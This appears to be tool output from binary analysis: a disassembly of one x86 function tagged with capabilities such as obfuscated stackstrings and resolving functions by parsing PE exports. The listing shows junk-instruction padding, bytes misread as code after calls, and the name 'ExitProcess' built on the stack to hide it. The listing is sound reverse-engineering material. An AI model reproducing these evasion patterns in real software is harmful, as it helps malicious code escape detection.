Function at 0x41872b
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
push eax
add esp, 4
or edi, 0x971b
xor edi, 0xc76a
sub edi, 0x8cfd
jmp 0x41843c
pop edi
push ebx
add ebx, 0x572a
xor ebx, 0x62e4
or ebx, 0x27df
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x418499
push edx
push esi
add esp, 4
and edx, 0x126c3
add edx, 0x1d24
xor edx, 0xfad3
pop edx
push ebx
jmp 0x418481
and ebx, 0xba76
pop ebx
push edx
push ecx
add esp, 4
sub edx, 0x16855
pop edx
jmp 0x4186c7
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ebx
call 0x4184bf
add byte [eax + 0x36], al
aas
inc ebp
inc ebp
dec edi
xor al, byte [ebx + 0x3c]
add esp, 4
xor ebx, 0x539f
pop ebx
push esi
push esi
add esp, 4
xor esi, 0xa9c3
pop esi
push ebx
push edi
add esp, 4
xor ebx, 0x4fe6
pop ebx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x418548
push eax
push ecx
add esp, 4
and eax, 0xa371
sub eax, 0xd765
jmp 0x41851b
pop eax
push eax
push ecx
add esp, 4
add eax, 0x135a5
jmp 0x41852d
jmp 0x418536
pop eax
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x418679
cmp dword [ebp - 0xc10], 0
jle 0x41866d
mov ds, word [eax]
add dword [eax], eax
invalid
mov ds, word [eax]
add dword [eax], eax
add byte [edx + 0x53], dl
push edx
push ebx
add esp, 4
and edx, 0x10428
xor edx, 0xff1a
or edx, 0x88f
sub edx, 0x4b09
pop edx
push eax
push eax
add esp, 4
or eax, 0x10c1d
pop eax
push ecx
sub ecx, 0x8f04
pop ecx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x418609
push esi
jmp 0x4185a5
xor esi, 0xfcc3
jmp 0x4185b1
call 0x4185bf
add byte [eax + 0x38], dl
inc esp
inc edx
xor esi, dword [edx]
inc edx
add esp, 4
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0xa2cd
pop ebx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4185f1
mov dword [ebp - 0x14cc], 1
jmp 0x4185fb
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x41866d
push eax
push edi
add esp, 4
call 0x41861e
add byte [edx], bh
inc edx
cmp al, 0x4e
cmp dword [esi + 0x49], eax
xor esi, dword [ebx]
dec eax
add esp, 4
call 0x418631
add byte [ebx + esi], bh
inc edx
dec edx
dec ebx
push eax
inc edi
dec edx
push eax
cmp dword [ebx - 0x1f7efb3c], eax
jl 0x41864e
add byte [eax], al
pop eax
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x418548
invalid
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x4186c2
push edi
jmp 0x41868a
or edi, 0x8715
pop edi
push ecx
push ebx
add esp, 4
or ecx, 0xed87
call 0x4186aa
add byte [edx + 0x44], al
cmp edi, dword [eax]
dec esi
cmp al, byte [esp + esi - 0x7d]
les eax, [ecx + eax*4]
leave
inc edi
push ss
add dword [eax], eax
pop ecx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x418703
jmp 0x418410
push esi
push esi
add esp, 4
or esi, 0x10d18
call 0x4186e1
add byte [edx], dh
aas
dec esp
xor ecx, dword [esi + 0x42]
inc eax
cmp eax, 0x4c4834c
and esi, 0x166b6
or esi, 0x168ff
pop esi
push edx
and edx, 0x9ea2
pop edx
mov dword [ebp - 0xa5c], 0
push edx
push ecx
add esp, 4
jmp 0x41870d
or edx, 0xd879
pop edx
push eax
sub eax, 0x1376c
call 0x41872b
add byte [ebp + 0x43], al
cmp eax, 0x503c414b
dec edi
cmp edi, dword [ebx]
add esp, 4
sub eax, 0x15731
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push eax
push ebx
add esp, 4
xor eax, 0x14dd9
xor eax, 0xa5d3
xor eax, 0x4891
xor eax, 0x783c
pop eax
push edx
or edx, 0x247c
or edx, 0x1e72
add edx, 0x10036
pop edx
mov ecx, 0x6b